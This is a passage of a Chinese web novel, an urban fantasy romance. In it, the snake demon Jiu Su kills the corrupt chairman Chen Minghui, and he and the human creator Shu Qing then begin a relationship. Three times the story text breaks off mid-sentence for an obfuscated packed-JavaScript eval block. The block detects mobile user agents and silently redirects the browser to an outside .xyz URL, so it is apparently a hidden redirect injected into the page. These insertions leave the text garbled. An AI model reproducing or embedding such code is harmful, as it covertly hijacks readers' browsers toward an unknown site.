“呃……”舒情也不太确定,但她不放过任何让九素适应当代社会的机会,边想边说,“应当起诉到法院,然后按罪量刑……” “能杀吗?” “当然不能了。”舒情说,“人家不是冲着杀人来的,何况还未遂。” “你想得美。”旁边的金万里听不下去,嘲讽说,“你当受害者就只有你一个人呢?喏,这就有一个例子。受害者真的去起诉了,开庭当天当场发疯,被确诊成了精神病患者,好,无行为能力。后来是确认了有超常能量因素,但是谁干的也没有真凭实据,你想学他吗?” 这话没吓到舒情,倒是舒桐下意识地做出了一个保护的动作,赵与清脱口而出:“那怎么办?” 九素和金万里对视了一眼。九素没说话,金万里翘起一条腿,接茬说:“接下来就是我的活了呗。超管局设这个‘特勤部’,不就是为了这种情况吗,武力压制,我先去打个申请。” 金万里一来一走,酒店就无声无息地进入了备战状态,一个白天过去,屋外的“特勤人员”守卫得越发严密。流浪猫从屋顶轻盈地跳上窗台,眼瞳闪烁着幽微的光;窗前的树枝上缠着两条小青蛇,隐匿在重重树叶之间,无声地吐着信子。 到了晚上,舒情再探头看看窗外,简直怀疑连地上爬过的蚂蚁都不是什么善茬。 她关上窗户,目光再落到电脑屏幕上,屏幕上是还没改完的广告分镜稿,寥寥几笔勾勒的小蛇正在快乐地嚼嚼。 她合上电脑,没心情再继续画了,手心里握住了九素给她的那个白玫瑰吊坠,两眼望着窗外,放空大脑,开始发呆。 九素不在。 金万里单方面地宣了战,九素当然不可能置身事外,他轻描淡写地交代了她一句“不要担心”,人就没了踪影,到现在也没露面。 舒情岂能不担心,有心给他发个信息问问情况,但也不知道他现在是个什么情形,会不会这一条信息反倒叫他分心,到底忍住了没问。 她打开游戏试图分散注意力,然而心浮气躁,打三把输两回,只收获了队友的一串问号。她烦躁得把手机一扔,一头栽到床上,放任自己继续发呆。 她也说不好有多少是在悬心他们行动的结果,有多少是忧虑自己的人身安全,有多少是挂念九素。总之精神涣散,不管打游戏还是刷视频,统统如烟过眼,没一件事能坚持三分钟以上。 “我这是在干什么,”她痛苦地质问自己,“我这是在玩命内耗,听天由命吗?” 她干脆就坐起来,打开了超管局后来给她追加的新学习资料包,重新开始自学。 在这种紧张的时候,学习居然能比玩更有吸引力,舒情慢慢地竟然也学进去了,各种复杂神秘的符号,逐渐定住了她混沌的心神。舒桐进来了几次,给她送零嘴吃,看她学得起劲,倒是颇为意外,欣慰地发现女儿离家独自生活了这么久,现在还挺能沉得住气。 结果下一秒,“沉得住气”的舒情抬起脸,余光瞥见了一道白影从门缝边闪过,整个人瞬间弹起来,“小红!” 她有一大堆问题,汹涌地涌上了喉咙——去做了什么,行动顺利吗,对方很难缠么,你平安无事吗? 九素不动声色地退开了半步,以免她们闻见了他身上沾染的阴森血气,朝她们一笑,解释说:“我去换一身衣服。” 能长期保持从头到脚一身白,说明多少有点洁癖,九素这个“换一身衣服”的流程里居然还包含了淋浴和洗头。好在他动作快,没让她们等太久,他出来的时候,银白的发尾兀自沾染着水汽。 舒情刚才还焦虑得只能靠学习定心,九素一出现,她居然就一点也不急了。她一颗心平平稳稳地放了下来,翻着资料等待的时候,甚至还有心情哼小曲。 她甚至还很有兴致地瞄了一眼他新换的浅绿色衬衣——前几天她亲自挑的,领口比别的衬衣少一颗扣子,九素感觉过于轻佻了,不肯穿出门,今天这还是头一次上身。 那微潮的发梢在领口打晃,舒情在心底吹了个不动声色的口哨。 哦豁。 这也算是良辰美景,良人相对……可惜这是个夜袭刺探的良夜,“良人”洗干净了外面沾染上的阴森气息,却洗不掉从内而外散发出的肃杀寒气。 她确定了:不管是九素身上挂着她的人身安全也好,还是他身上悬着行动的成败也罢;无论他是朋友,还是不曾挑明的情人,总之她挂念的就是他。 牵挂是一种又危险、又无可避免的感情,将人与人这样千丝万缕地系在一起,比虚无缥缈的缘分更绵密、更柔软、更无从挣脱。 九素身上洗不掉的森然气息,就在这绵软的牵挂之中软化了,他看向她的眼神格外柔和,几乎带着一点安抚的味道。 “我去探了辉耀集团豢养妖怪的地方。”九素语气放得很和缓,“有怎样的妖怪、如何布阵、地势如何、人手几何,大致都明白了。既已知己知彼,动起手来也不必怕,放心吧。” 他说得一切都轻而易举,好像不是去夜探敌方大本营,而是随随便便地看完了一篇文章,信手合上书页,告诉她“看懂了”。 舒情问:“你没事吗?” “当然,”九素安抚地冲她笑笑,“只是去看看,又没有交手。” 好的吧,舒情在心里把超管局给她出示的那“6.9级超常生物”的论断打上了大大的叉。 金万里为人虽然风风火火,但超管局偌大一个国家机构,行事作风不得不严谨。拿到了九素提供的“底细”,当然不会全盘相信这来历不明且无法追责的热心市民,更何况这次指证的还是辉耀集团,属于纳税大户。 走了一轮流程,又经过几次刺探,也许还有几次不能宣之于口的权衡与争辩,金万里打的这个“申请”总算是批准下来了。 同时,这个酒店也不必再住了,当事人们集体被转移到了H市的超管局,接受更加严密的保护,连涂楠也不例外。 当夜是个阴天,月亮星星一概不见,路灯明灭,闷热得只有蝉鸣。 这次是真的除了等待别无他法,为了防止现代科技手段与神秘术法两相结合的攻击,连手机和电脑之类的也一概不能使用,只有几本纸质杂志,聊以打发时间。 赵与清这种常年浸淫于学术的中老年还好说,戴上老花镜,还能看得下去。小一辈的早就习惯于看电子屏幕,对纸质书的耐心不怎么充足,更何况她们亲身经历了事件全过程,对超管局的行动也就更担心,看不进去一点儿。 戚昀哗啦啦翻了两页,就扔到了一边,瘫在沙发上和涂楠聊明星电视剧,借此平复焦虑的心情;舒情和舒桐坐在另一角,有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16214242|176716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一搭没一搭地瞎聊。 舒情心不在焉,一眼又一眼地往窗外瞥。舒桐迟疑了片刻,轻轻握住了她的手。 “小情,”舒桐问,“你告诉妈妈,你和那个……那个九素,到底是怎么回事?” 舒情心里突地一跳,扯出一个笑容来:“妈,我不是都和你说过了……就是我意外买错了东西。那时候他还是枚蛋,不小心被我买到了啊。” 她说到这里,隐约觉得有点恍惚——这将近两个月的时间里,她过得过于跌宕起伏,以至于刚遇到九素时的情形,现在想起来,好像已经隔了许久了。 好像他们已经认识许久、许久了。 舒桐目光沉沉地看着她,那忧虑的眼神,几乎能看到她心里去。 舒情维持着一副嬉皮笑脸的表情,有点慌,在职场上摸爬滚打出来的脸皮隐隐要失效,看来妈妈自带无视防御效果。 “我总担心你不开窍,真没想到……现在要担心的是这个。”半晌,舒桐极轻地叹了口气,“你怎么偏偏在、在一个妖怪身上开窍呢?” 舒情抿抿嘴,干脆坦然地说:“他是比其他人好。” “不,”舒桐一口否决,她惯于做主,一向也和“贤惠”“温婉”等词不搭边,而这一次还比以往的每一次都更强硬,更不容违逆,“你哪怕是永远不想成家,你想做你自己的事业,甚至你哪怕是看上了一个女孩子,我都不拦着你,可那是个妖怪啊。” 舒情下意识地就想反驳:这怎么还物种歧视呢? “我不是看不起妖怪。”舒桐不等她开口,就说,“是人和妖怪实在太不一样了,连法律都不承认这样的关系。你也许愿意陪着他适应人的生活,彼此去适应彼此的习惯,可是以后呢,你难道要一直负担你们两个人的生活成本吗?” “那我要是找个女生,现行法律一样不承认啊。”舒情无奈,“再说了,怎么会是我一个人负担生活成本,我做视频赚的钱都有他一份呀。” “好,生活成本问题不是最重要的,暂且不提,”舒桐说,“但是你看看他,他和超管局特勤部一起出外勤,特勤部那些‘超常生物’们各个都听他的,连那个据说是最强的特勤部长,也不例外。” 舒情想起上次公寓管家破门而入的事件,笑说:“这不挺好吗,镇宅。” “你们要是相处得好,是能镇宅。”舒桐好像是真的着急了,偏暗的光线里,她眼睛里几乎闪着水光,“可万一有什么冲突,那怎么办呢,咱们就连一点办法都没有了!” 年少的女孩子还怀抱着勇气,向往海阔天空与情深意长;而看遍生死的老医师,见过了太多鲜血淋漓的前车之鉴,在提早一步居安思危了。 王子与灰姑娘的故事,尚且叫人担心齐大非偶,更何况是一个不爱锻炼的亚健康宅女,和一个不可控的高等级妖怪呢。 “再说了,像他那样的妖怪,珍稀、罕有,法律都没有办法约束。就算是他做出什么过激的事……”舒桐连声音都在微不可察地发颤,“他就算是杀了人,都未必要偿命啊!” 猛虎嗅蔷薇,看个热闹,挺好。 但假如那是自己养的“蔷薇”,其中的心惊肉跳,外人岂能感同身受? “杀人不偿命”的妖怪,此时轻轻地从一个人腹中抽回了匕首,侧过脸,想避开迸发的鲜血,无奈还是被溅上了几滴。 对方挣扎着倒下了,脸上浮现出狰狞的羽毛,短短几秒之间,变成了一只翎羽狼藉的大鸟,倒卧在H市郊区泥泞的土地上。 九素手指一转,轻巧的凶器悄无声息收入掌中。他暗夜杀人,连身便于隐蔽的衣服也不肯换,还是从头白到脚,一步步踏上高速公路下的旷野,像提前抵达的告丧。 他是一个人来的,没有任何同伴能帮着围追堵截,他也不需要——潜逃到此的辉耀集团掌舵人仍然带着十几个打手,和一群精心培养出来看家护院的妖怪。他不觉得这孤身一人找上门的大妖能突破重围,把他怎么样,因此压根没有逃。 陈明辉想把这嚣张的大妖杀了,或者抓起来蓄养,他万万没想到自己奋斗十几年,最后栽在了个微不足道的底层员工身上,恨得眼睛里要滴出血。 幸而他在海外,还有产业。留得青山在,不怕不能卷土重来。至于送上门来的这只妖,大可以作为东山再起的资本。 九素无声地笑起来,踏入了对方严阵以待的包围圈。 纯白的寒气在夜色中弥漫,今晚气温破了30度,而河面上结起了冰。 33. 手心吻 “辉耀集团的董事长陈明辉先生,于6月13日早上7点,被发现死于H市郊区。致命伤口位于咽喉,形似蛇类咬伤,具体死亡原因有待进一步调查。此前,辉耀集团刚刚被爆出囚禁、虐待超常规生物的消息……” 舒情糟心地掐断了手机里正在播放着的新闻视频,面无表情地瞪九素。 九素抱着被子坐在床上,一脸无辜地回看。 昨天凌晨,在她们都遭不住困意,睡得七倒八歪的时候,金万里黑着脸带队回来了,宣布警报解除,现在各回各家。舒情没看到九素,不放心,特意找金万里打听,被一句“谁有事都轮不到他有事”怼了回来……好在这句怼人的话也颇有信息量。 戚昀打着哈欠,把司机喊起来送人,舒情因此就先回了公寓,舒桐和赵与清在公寓隔壁的酒店暂住。 直到早上快六点的时候,舒情睡得迷迷糊糊,才隐约听见洗手间里传来水声,过了一会儿,果然是九素轻手轻脚地出来了。 舒情叫:“小红?” 她还没完全睡醒,那声音里带着浓浓的鼻音。 九素走过来,坐到她床边。他身上沐浴露的香气根本盖不住血腥味,舒情瞬间清醒了,坐起来细看他的面孔。 他看上去比平时更苍白,神色虽然未变,但眉眼间都带着挥之不去的倦意,连浅檀色的眼瞳都显得黯淡,仿佛褪了一层颜色。 “你去做什么了,”舒情翻身下床,从柜子里找绷带和药,“你伤到了?” 九素“嗯”了声,接过绷带,顿了一下,没有动作,抬起眼睫望了舒情一眼。 “呃……医疗箱是我妈强制要求我常备的,我其实不太会弄。”舒情误解了他这一眼的意思,自觉得让伤员自己动手确实不好,无奈她完全不会,只得摸摸鼻子,“处理外伤这个,我只能给你打打下手。或者我带你去医院?” “……我不是这个意思。”九素无力地说,“我是想说,你能转过去吗?” “……” 舒情默默转身背对着九素,盯着雪白的一堵墙,面壁去了。 其实还不如看着,听觉和嗅觉有时候比视觉还敏感,她闻见散发出来的血腥气,听见背后衣料簌簌摩擦的声音,甚至九素偶尔加重的呼吸声……心情更混乱了。 她忍不住问:“你伤在哪儿了,严重吗?要不我还是带你去医院吧。” “一点小伤,我自己就能处理。”九素笑问,“剪刀呢?” 忙中生乱忘了拿剪刀,舒情赶紧又跳下床去取。她背着身递给他,趁着这个机会,悄没声地瞄了一眼。 就一眼,九素就发现了她的小动作,似笑非笑地迎上了她的眼睛。 舒情干脆就转身正面面对着他,因为到这会儿,她回避不回避的,也都无所谓了——他已经处理完了自己的伤口,左半个身体缠满了绷带,不存在被她看去的危险。肩膀和腰侧都沾染了血迹,还有没有别的伤口不知道,但目前来看,显然不是什么普通人认知范围内的“小伤”。 九素索性也不接剪刀,把绷带往前一送,递到了她眼皮子底下。 舒情帮他剪开了绷带,本来想给他打个蝴蝶结,但被那双眼睛盯着,还是没有皮这一下,十分遗憾地打了个普通的结。 她又确认:“真不用去医院?” “不用。”九素随手把衬衣披上,挡住了右半边裸露的部分。可能因为是条白蛇,他肤色异常的白,看着不是那种莹润生光的白法,透着一股隐约的冷白,和绷带几乎是一个色。他安慰她,“妖怪和人不一样,这种程度对妖怪而言不算什么,过两天就好了,你放心。” “哦……”舒情对妖怪的体质确实所知甚少,九素既然这么说了,她选择相信,伸出手去,隔着绷带,小心地碰了一下他肩上的血痕。 九素意意思思地躲了一下。 舒情还以为她手重了,赶紧缩手,问:“疼吗?” “我只是自愈力比较强,不是没有感觉。” 舒情于是又扒拉出来一盒布洛芬,“吃一粒吗?” 九素表情不太自然地摇摇头。别说他没有用药物镇痛的习惯,就冲着他亲眼见过舒情吃这药的时机,他今天也得把讳疾忌医坚持到底。 他知道舒情现在想为他的伤做点什么,于是说:“我记得冰箱里有酒。” “你不能喝。”舒情拒绝,“受伤了不能喝酒。” 九素笑,“我是妖怪啊。” 舒情狐疑地打量他两眼。按理说九素一向是个靠谱的人,不至于对自己的伤势如此没数,但他有时候毕竟也会干出来一些她理解不了的事——比如说放着双箭头不肯要,执著于扮演苦情男配,以至于她对他的信任多少都要打个折扣。 九素毫不心虚地回望着她。 舒情到底给他拿了一罐啤酒,还贴心地给他打开了易拉罐,并排和他坐着,这次问到了正题:“你是去干什么了?” 九素轻轻摇了摇手里的啤酒罐,喝了一口,懒懒地说:“杀陈明辉。” 舒情吓一跳,差点蹦起来,“什么玩意儿?”说完意识到自己音调拔太高了,才刚六点,这一嗓子出去有扰民的嫌疑,压低音量结结巴巴地问,“杀……不是……既遂还是未遂?我意思是……他死了吗?” “当然。” 舒情僵立在原地,脑子里一瞬间划过了九素之前恍若无意般说过的一句——“既然有人动了杀意,我也只好不死不休。” 她当时隐约就觉得不太像是在放狠话,没想到,今天他还真的兑现了! 舒桐昨晚和她说的话,也在此时不合时宜地掠过她脑海:“他就算是杀了人,都未必要偿命啊!” 是真的。她恍惚地想,他杀了一个知名的企业家,还是她的前老总,也许还不止这一个人。他还可以几乎是全身而退,悄无声息地回到她的住处,甚至丝毫没有潜逃的打算。 然而她现在的恐惧却和舒桐背道而驰,舒情惊慌地瞪着九素,不知道这到底算是“高等级超常生物故意杀人”,还是“嫌犯因拒捕被警方协助者击毙”。 九素猜到了她的想法,安抚说:“没关系,万里会处理。” 难怪凌晨金万里回来的时候是那副表情,难怪金万里说什么“轮不到他有事”。 超管局八成是已经把善后的事宜接了过去,甚至已经和九素全都谈好了,所以他比她晚回来一步…… 超管局打算怎么善后,善成什么样?死者毕竟是个公众人物,无论如何,总得给一个说得过去的交代。 还有,他怎么这么意气用事?她必须得好好地给他加强一下普法教育! 满脑子焦虑的念头乱飞,花了足有三分钟的时间才各自落地。舒情无可奈何地叹了口气:“你为什么要把事做得这么极端啊。” “斩草除根。”九素仍然懒洋洋地靠在枕头上,说出来的话却堪称凶残,“谁知道他还有多少手段。只有千日做贼,没有千日防贼,这样才能永绝后患。” 舒情说不出话来,和一个昨晚才刚杀过人的妖怪同坐在一张床上,她觉得她应该寒毛倒耸、毛骨悚然才对——现代法制社会了,换了谁,都不敢想象自己身边的人手上有一条人命。 可她就是不觉得,她甚至连害怕都不觉得。她知道自己一向胆子是挺大的,管家非法入室 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16246266|176716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那时候,她也没被恐惧占据理智,可她也没想到,现在自己能胆大到这种程度。 她破罐子破摔似的想:“可能我和他就是差不多的人吧。” 她很轻易地接受了“我们是同类人”的论断,仿佛接受的是经年生死镌刻在灵魂里的一个直觉。乍然听闻法制新闻的诸般思绪,此刻,总算是潮水似的退去了。 然后,她看清了自己掩藏在内心深处,最放不下的一个念头。 她那天拒绝了那个“不要喜欢我”的请求。而现在,一切都结束了。 九素杀了陈明辉,选择为她永绝后患。那说明什么,说明他打算离开她了,所以在走之前最后一次来保障她的安全? 九素从她的眼神里看懂了她在想什么,他微一踌躇,交代说:“我会在超管局留一段时间。” 舒情虽然神思不属,但仍然敏锐地反应过来,“善后的代价?” 九素“嗯”了声。 就算是劳动改造吧,那超管局也是一份编制。这就是他善后的代价,不愧是珍稀的高等级超常规生物。 舒情苦笑了一声,咕哝说:“真让我妈说中了。” “什么?” “我妈说你就算杀了人都未必偿命。”舒情复述说,事实证明舒桐担心得确实没错,只不过他杀的是意图伤害她的人,“昨天晚上,她还跟我说了好多别的……大概就是你和我很不一样,劝我早早把你放生之类的。” 九素垂下眼睫,平平淡淡地说:“她说的是。我本来就——” 舒情下一句话羽毛般轻轻地落了地,在他听来,如惊雷在耳,“但我还是想试试。” “我知道我妈说得都对。”她说,“你是个我不能掌控的妖怪,危险,神秘,还凶。到现在,你的来历我都还没完全搞清楚,以后可能会遇到更多问题。但我们也可能会很快乐,一起拍视频,一起吃好吃的,还有更多有意思的事。所以我想,为什么不试试呢?” “人活在世上,本来就不能保证一切都尽在掌握。出去旅游,可能被车撞;待在家里,可能遇上地震火灾;工作可能遇上坏老板,吃饭可能有食品安全问题。但也没人说因为这些不可掌控的风险,干脆就不活了的,人生的乐趣不就是在于各种事情都去试一试吗?” 她转过头来,望着他的面孔,问,“你想要试一试吗?” 九素无声地抬起头,仰望着她的眼睛。 昨晚是阴天,今早乌云却散尽了,朝阳无遮无拦地洒进窗子里,她的眼睛比天光还明亮。她刚睡醒,一直忙着给他扎绷带、找药、了解情况,到现在都还没来得及洗漱,头上还翘起了一撮呆毛,一晃又一晃。 而他自己半身是伤,衣冠不整,衬衣甚至只穿了一半。两个人的形象都只靠原生颜值撑着,真不是个有仪式感的开始。 想试一试吗? 或者往更深一层说,是要再次做她的人,还是从此离开,头也不能回? 慢慢地,九素抬起那只完好的右手,握住了舒情伸给他的手,展开了她的手指。 人在有伤的时候、脆弱的时候、被酒精催逼的时候,做出的选择总更接近于真情与本心,而不是瞻前顾后的理智……这一点,其实妖怪也一样。 更或者,妖怪本来就更随心所欲,更遵循本性,更不讲究什么理性与克制。 他低下头去,珍重地吻了吻她的掌心。这个动作下,她可以轻易地抓握住他,不必担心他不受她掌控。 这个亲吻很温柔、很郑重,清凉柔软,而孤注一掷。 那就去试一试吧,他想。 谁说这一次的结果,一定会和上一次一样呢? 34. 朝暮 当天晚上,超管局官方发布了一条蓝底白字的公告,通报辉耀集团董事长离奇死亡一案的调查结果:辉耀集团非法豢养超常生物(其中包含近十只高等级超常生物,法律明确禁止私人养育),利用它们进行诸如打击竞争对手、非法售卖等一系列不正当行为。 超管局接到热心群众举报之后,十分重视,派出特勤部调查此事。董事长陈明辉连夜潜逃,途中,身边的高等级超常生物暴起反抗,引发团伙内部冲突。潜逃人数总共25人,其中18人受伤,7人死亡,陈明辉就是七名死者之一。 好在这是团伙内部的冲突,没有波及无辜,不管死者还是伤者,全都是犯罪嫌疑人——当然,那几只遭到迫害怒而反抗的妖怪怎么处理,还得另算。 官方放出了一段辉耀集团豢养妖怪据点的实拍短片,那可真是闻者伤心见者落泪,一排排笼子贴墙放着,小妖怪们都被关在笼子里,各自贴着一个由字母和数字组合的编号,什么“A-382”、“S-087”等等,生存条件还不如监狱,简直是骨灰存放处。 反正戚昀看完,没忍住,抱着念念掉了眼泪。网上的声讨更是一浪高过一浪,辉耀集团的股价应声跌停,舒情前同事群里每天七嘴八舌的吵闹就没断过。 舒情趁此机会,出了一期视频,专门讲自己这半个月以来的种种遭遇。 这事件放在谁身上都十分值得同情,一众网友知道了她就是受害者,纷纷涌入她的短视频账号底下表达关心。而且她并不卖惨,重点讲的是她的应对手段,还在视频末尾做了个粉丝回馈活动,抽奖送吉祥鸟羽毛吊坠,互动率飙升。 她还趁着这波流量,给即将成立的工作室又预热了一波,呈现出一副“决不内耗,顽强生活”的精神状态,新粉们的印象都不错,纷纷评论: “人人都在发癫,多久没见到这么阳间的精神状态了” “这鸡汤我喝了” “up是真的坚强,换我早就惊弓之鸟了” “啊啊啊求up抽到我” 这边视频发出去没两天,那边又爆出辉耀集团打算大规模裁员的消息,于是又是一轮新的声讨…… 但对于舒情而言,这次的危机就到此结束了。她现在需要操心的,是她的新旧粉丝、安排工作室成立的事、准备搬去新房子、还有送爸妈返程。 舒桐和赵与清夫妻又在H市住了几天,确认“诅咒”事件的确结束了,还陪着舒情去看了她心仪的新房子,看着她签了新的租房合同,这才买了回程的机票。 舒情还很不舍:“过两天搬到新家里,就能一块住了,陪我住几天再走呗。” 舒桐笑说:“不了,病人的预约不能再推,必须要走了。你爸的学生也都等着呢,不能老是请假。” 好吧,不愧是给她遗传了一个事业脑的爸妈。 舒情没话说,起了个大早,和九素一起送二老到了机场——考虑到父母的反对,她没敢说她和九素已经打算正式恋爱的事,更没敢说她的前老总到底是怎么死的,只小心翼翼地提了一嘴,说九素打算去超管局工作一段时间云云。 舒桐听完,倒也安心了些,毕竟她担心的就是大妖怪没人管得住,又嘱咐了一通“不要太亲密,就当朋友来往”之类的话,听得舒情十分心虚。 倒是九素很想得开,他此前百般回避,但现在确定了关系,虽说仍旧在扮演一个礼貌周到、无可指摘的女婿竞选者,但心里压根就不在乎舒情父母反对或不反对。 他只在意舒情的态度,既然舒情的态度是“咱俩谈着,但暂时别让我爸妈知道”,那他就按照她的意思来,私底下和她玩玩闹闹,但到了二老面前,就老老实实地装作“因为她不答应,所以我们只是普通朋友”状,演技超群,像模像样。 至少舒桐和赵与清丝毫没有起疑,放心地和两人告了别,就挥挥手上飞机去了。 舒情一直目送着飞机起飞,这才做出一副夸张的脱力相,往九素身上一栽:“啊,可演死我了。” 九素被她逗笑了,搂着她带她往外走,笑问:“发现你爸妈不能多住几天,那时候的遗憾之情去哪里了?” “什么‘你爸妈’,说话注意点,说不定以后也是你爸妈呢。”舒情白了他一眼,“能理解你还没有名分,不好意思这么叫,那起码叫声伯父伯母来听听。” 九素又笑。他这几天笑得比以前都多得多,笑意时不时就从眼底流露出来,有时候还要尽力压着嘴角,不是以前那根本不想笑,却硬端出一个礼节性笑容的样子了。 可见还是把话说开了好,两个人每天的快乐指数都在呈爆发式增长。 “伯父伯母不行,我是天生的妖怪。”机场人多,他俩今天打扮得也精神,显得颜值格外相映成辉,方圆五米之内,不管是男是女都忍不住多看他们两眼,于是九素就把后半句话咬得很轻。为了确保舒情听见,这七个字就是贴着她耳朵说的,弄得她从耳朵一直痒到心里。 “我的生身父母,是我诞生之地的山川河流,我养父都作古两千多年了。”他说完,拉回了原本的距离,笑说,“所以还是叫叔叔阿姨吧,等有机会再改口不迟。” 叔叔阿姨也成,总比他这几天当面叫的“舒医生”“赵教授”好点,舒情煞有介事地点头说:“嗯,可以,批准了。” 她说得像个很正式的审批流程,九素这次甚至笑出了声,忍不住用脸贴了一下她毛茸茸的发顶。她昨晚刚洗完的头发,一头椰香的洗发露味,闻起来实在是香甜。 他现在觉得舒情说得对极了——人生啊,当真应该勇敢一点,各种事情都去试一试。 九素去超管局报到的日子被安排在了三天以后,舒情的时间更加自由,戚昀的影楼即将改装完毕,工作室预计要在半个月以后开张。于是,这三天里除了第三天要留给搬家之外,剩下的两天,都是他俩这里试试、那里试试的时间。 舒情十分惊奇地发现,九素虽然对现代社会的生活一知半解,但对H市一些经典老字号,居然都挺说得出名头,不知道是什么时候做的功课。 但尝试的勇气太旺盛了也不好,比如两个人讨论今天晚上吃什么的时候,九素跟她说:“据说H市的醋鱼非常有名,我还没吃过,我们去尝尝?” “……” 舒情当场把她那句“什么都应该试试”的话吃了回去,果断地拒绝说:“我觉得这就属于不用去试试的东西。何况你不是不爱吃酸的吗?” 她现在明白过来了,那天她那几句话能打动九素,本质上还是因为九素是和她一样的人,什么都喜欢试试,什么都愿意去体验一下,两人很能玩到一起去。 虽然不喜欢酸口,但是被她带着去吃炸鸡的时候,他还是会叼走她手里蘸着番茄酱的炸薯条;他喜欢偏古典的装束,但她穿Lolita裙出门的时候,他就从善如流地换上花边衬衫和斗篷,打扮成同样的风格陪她去玩,好像公主和她的骑士。 他们俩穿着奇装异服,兴致勃勃去看漫展,融入了如山如海的假发与cos服。舒情拉着九素直冲自己玩的游戏展台,摩拳擦掌想随机出一个棉花娃娃周边,付了一笔钱,蹲在一堆盲盒里一个劲的拆。 九素就蹲在一边,给她拿着冰可乐,看着她拆。 舒情连着拆了十来个徽章和小卡,开始怀疑自己今天的运势,于是往后退了两步,把拆盲盒的最后一次机会让了出来,推推九素:“换你试试。” 九素随手一拆,棉花娃娃兑换券露了出来,舒情惊呆了,酸溜溜地问:“凭什么你就一拆一个准,难道因为你脸白?” 九素看着她笑,好整以暇地从怀里摸出一根羽毛,舒情眼尖地认出:它来自吉祥鸟发财。 “你这属于作弊。”原来是以玄救非,舒情乐了,推了他一把,“这个不算。” “哦,”九素侧脸瞥着她,他眼睛长得格外好,眼尾上挑出一个妖异的弧度,用眼角看人的时候,像个小钩子,“那你要不要呢?” 舒情默默地抽走了兑换券,“……要。” 九素不光是陪她逛街去漫展,他还被她拉着一起打游戏——一开始,舒情让他来陪自己一起打怪升级,结果他玩了一会,流失了,并从一个妖怪的视角发出锐评:幼稚。 舒情悟了,他一只单枪匹马杀穿辉耀集团老总包围圈的妖怪,看游戏里这点虚拟的打打杀杀确实没意思,于是把自己的游戏机分给他玩,让他随便去体验。 最后,她发现他居然喜欢玩休闲经营游戏…… 也对,一个人在现实里拥有巨大破坏力,可不就要在虚拟世界里找点建设的快乐嘛。 舒情看他玩了一会,对这款自己抛弃已久的经营游戏又燃起了兴趣,于是两个人开始联机建设家园,每个月要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16246267|176716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 氪的金又多了一笔。 九素对于建设的热情并不只停留在游戏里,他俩疯玩了两天,到第三天搬家的时候,他从超管局抓了几个未来同事当壮丁,指挥若定地解决了所有家务。连外面那个不太好打理的小院子,也收拾得干干净净,种上了舒情事先指定的花木,她隔着窗户往外看,赏心悦目。 被抓来收拾院子的“壮丁”还保证说:“以后要想换别的花花草草,只管找我哦~我们花草树木是一家,这些我最会了。” 原来这是一只树妖。 “以后我们可以在院子里养些小妖怪。”九素告诉舒情说,“从辉耀集团里带出来的那群小妖怪,有些低等级的,他们打算开放领养。我们可以去收养几只,以后也方便你们拍视频、开工作室。” 非人类同事们效率惊人,花了一上午时间,把他们的新屋子收拾完了,九素这个不讲究的,也不知道发挥一下他的烹饪能力请人家吃个饭,还不让舒情招待,就这么把未来同事集体清退了,丝毫不怕以后上班被排挤。 他牵着舒情的手,在小院里四处看,“养一对‘织梦蝶’吧,可以照顾花草,还能避免你失眠。水缸里可以养个‘仙女螺’,虽然没有传说里那样能烧饭能清扫,但保证这一个院子干干净净,它还是做得到的……” 舒情噗嗤笑了,“你游戏玩多了,在这儿派遣员工呢?” 九素现在再和舒情聊这些游戏相关用语,已经毫无阻碍了,没忍住也笑起来,感觉自己确实要成为第一只沉迷游戏的大妖。 虽说活都让未来同事们帮着干了,但舒情和九素作为主人,也不可能真闲着,忙了一上午,开始犯困,彼此依偎在躺椅上打瞌睡。 大夏天的,原本没有人会躺在室外睡午觉,但舒情具有得天独厚的条件——九素是一条擅长释放寒气的毒蛇,躺在他身边,不仅不会热,连驱虫的流程都可以免除,真是夏日居家旅行必不可少的大杀器。 树荫挡住了刺眼的阳光,只有点点光斑,从枝叶间落下来,碎金似的洒在树下的一双人脸上,构成一种复古的静谧。 舒情半睡半醒间,手往边上摸了摸,五指插进九素披散的银发里。他的头发也不知道是蛇身的哪个部位变的,凉滑柔软,手感好像昂贵的绸缎,她忍不住,摸了两把。 九素顺势缠过来,他的拥抱也像蛇,整个人缠着她不放,显得异常亲密。 “你看还是说开了好吧,”她咕咕哝哝地说,“说开了,你可以缠着我;没说开,你现在就只能缠在那棵树杈子上了。树杈子哪有我好?” “嗯,”九素带着笑意的声音,略略含混,在她耳朵边上极轻地响起来,“君上教训的是。” 舒情没听清那个称呼,“什么?” 九素发现自己不小心带出了上辈子对霞山君的称呼,立刻说,“没什么。” 他这几天完全卸下了防备,太不小心了。 